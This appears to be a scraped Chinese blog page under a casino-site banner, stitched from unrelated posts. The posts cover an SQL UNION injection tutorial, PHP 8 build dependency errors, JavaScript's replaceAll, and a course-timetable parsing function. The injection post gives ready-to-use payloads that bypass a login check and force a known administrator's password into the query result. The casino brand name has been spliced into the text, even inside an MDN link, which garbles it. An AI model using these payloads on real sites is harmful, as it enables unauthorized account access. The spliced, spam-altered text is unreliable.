美高梅4858-美高梅4858mgm-[官方网站]

巧妙地使用 SQL UNION 注入

大家一般验证用户登录时,密码是否输入正确,一般是会这么做

  1. 客户端 通过 post 提交用户名(username)和密码(pwd)
  2. 服务端 拿到 username,进行数据库查询(假设没做对SQL注入措施),一般会这样写 SQL 语句(假设 $username 变量是获取用户 post 提交的用户名):
    SELECT username,pwd FROM user_table WHERE username='$username'
  3. 然后查询得到结果,判断查询结果的密码是否与接收的密码一致
  4. 好了重点了来了,因为没有做防SQL注入,大家可以这样注入
注意末尾 # 别漏掉了,写上这个就会忽略后面所有的语句
SELECT username,pwd FROM user_table WHERE username=''
UNION SELECT '','45cf93bd4f762c6597b68e615b153bd0'#

此条语句的实行结果是:

+----------+----------------------------------+
| username | pwd                              |
+----------+----------------------------------+
|          | 45cf93bd4f762c6597b68e615b153bd0 |
+----------+----------------------------------+

没错,大家使用 UNION SELECT 查询,可以控制输出字段的值,但前提是你要知道查询了哪些字段

这样大家 POST 提交参数:

username='UNION SELECT '','123456'#&pwd=123456

就可以骗过验证


如果你知道某个账号(假设是 nowtime)具有超级管理员权限,那么让其实行以下语句就可以控制输出其密码

SELECT username,pwd FROM user WHERE username=''
UNION select username,'123456' as pwd
FROM user where username='nowtime'#

运行结果:

+----------+----------+
| username | pwd      |
+----------+----------+
| nowtime  | 123456   |
+----------+----------+

Ubuntu 编译安装 PHP 8.0-Alpha 过程

apt install libsqlite3-dev

configure: error: Please reinstall the BZip2 distribution

那就去安装

sudo apt-get install libbz2-dev

No package 'libcurl' found

 apt-get install libcurl4-openssl-dev

configure: error: GNU MP Library version 4.2 or greater required.

apt install libgmp-dev

No package 'oniguruma' found

apt install libonig-dev

configure: error: Please reinstall readline - I cannot find readline.h

sudo apt-get install libreadline6-dev 

apt install libsqlite3-dev
apt-get install libbz2-dev
apt-get install libcurl4-openssl-dev
apt install libgmp-dev
apt install libonig-dev
apt-get install libreadline6-dev 

+--------------------------------------------------------------------+
| License:                                                           |
| This software is subject to the PHP License, available in this     |
| distribution in the file LICENSE. By continuing this installation  |
| process, you are bound by the terms of this license agreement.     |
| If you do not agree with the terms of this license, you must abort |
| the installation process at this point.                            |
+--------------------------------------------------------------------+

Thank you for using PHP.

configure: WARNING: unrecognized options: --enable-inline-optimization, --with-libxml-dir, --with-xmlrpc, --with-pcre-regex, --with-pcre-dir, --with-gd, --with-jpeg-dir, --with-png-dir, --with-freetype-dir, --with-onig, --enable-zip, --enable-wddx

美高梅4858mgm 原生支撑 replaceAll 了

详见 MDN:https://developer.mozilla.org/zh-CN/docs/Web/美高梅4858mgm/Reference/Global_Objects/String/replaceAll

replaceAll() 方法返回一个新字符串,该字符串的所有满足;模式的匹配,都被用替换者;替换了。 模式 可以是一个字符串或者一个 RegExp, 并且替代者可以是一个字符串,也可以是每次匹配都要调用的函数。

不过兼容性很低,只有 Chrome 85、Firefox 77、Safari 13.1 开始支撑

Snipaste_2020-06-24_16-23-06.png

Chrome 85 运行结果

我66你66啊".replace("66", "喜欢");
>>> "我喜欢你66啊"

"我66你66啊".replaceAll("66", "喜欢");
>>> "我喜欢你喜欢啊"

Snipaste_2020-06-24_16-28-26.png

当然你还可以使用 replace 实现类似功能

"我666你666啊".replace(/666/g, "喜欢");
>>> "我喜欢你喜欢啊"

"我{{$tmp}}你{{$tmp}}啊".replace(/{{\$tmp}}/g, "喜欢");
>>> "我喜欢你喜欢啊"

小爱课程表 新版正方教务系统通用代码

Snipaste_2020-06-10_20-10-18.png
Snipaste_2020-06-10_20-10-18.png

代码

function scheduleHtmlParser(html) {
    //除函数名外都可编辑
    //传入的参数为上一步函数获取到的html
    //可使用正则匹配
    //可使用解析dom匹配,工具内置了$,跟jquery使用方法一样,直接用就可以了,参考:https://juejin.im/post/5ea131f76fb9a03c8122d6b9
    //以下为示例,您可以完全重写或在此基础上更改

    let course = $('#table1 .timetable_con');

    var courseInfos = [];//课程信息
    var sectionsTimes = [];//节次信息,非必须

    for (let i = 0; i < course.length; i++) {
        var _name = $(course[i]).find("p[class=title]").text();//课程名
        var _day_session = $(course[i]).parent().attr("id").split("-");
        var day = _day_session[0];//星期几的课
        var _postion = '',//上课地点
            _teacher = '',//教师
            sectionsTmp = [],//临时储存节次 array
            weeksTmp = [];////临时存储周次  array

        $(course[i]).find("p").each(function (index, item) {
            var _typeName = $(this).children("span").attr("data-original-title");//类别名。节/周、上课地点、教师、教学班名...
            if(_typeName !== undefined) _typeName = _typeName.trim();

            var _text = $(this).text().trim();

            if (_typeName === '节/周') {
                var _length = _text.match(/\((.+?)节\)/);

                //判断是否存在节次
                if (_length === null) {
                    return 0;//不存在就跳出本次循环
                }

                //当前课程节次信息
                sectionsTmp = function () {
                    let num = _length[1].split("-");
                    
                    let tmp = [];
                    for (let i = parseInt(num[0]); i <= parseInt(num[1]); i++) {
                        tmp.push({
                            section: parseInt(i)
                        });
                    }

                    return tmp;
                }();

                //临时存储周次
                weeksTmp = function () {
                    var tmp = [],
                        _week = _text.replace(_length[0], "").split("周")[0],//周次
                        _weekRange = _week.split("-"),
                        _weeekType = -1;//-1:不分单双周,1:单周,0:双周

                    if (_text.indexOf("(单)") !== -1) {
                        _weeekType = 1;
                    } else if (_text.indexOf("(双)") !== -1) {
                        _weeekType = 0;
                    }

                    for (let i = parseInt(_weekRange[0].trim()); i <= parseInt(_weekRange[1]); i++) {
                        if (i % 2 === _weeekType && _weeekType !== -1) tmp.push(i);//特殊单双周压入
                        if (_weeekType === -1) tmp.push(i);//部分单双周压入
                    }

                    return tmp;
                }();
            } else if (_typeName === '上课地点') {
                _position = _text;
            } else if (_typeName === '教师') {
                _teacher = _text;
            }
        });

        courseInfos.push({
            name: _name,//课程名
            position: _position,//位置
            teacher: _teacher,//教师名
            day: day,
            weeks: weeksTmp,//哪几周有课
            sections: sectionsTmp,//哪几节次
        })
    }

    console.info(courseInfos);

    return {
        courseInfos: courseInfos
    }
}
XML 地图 | Sitemap 地图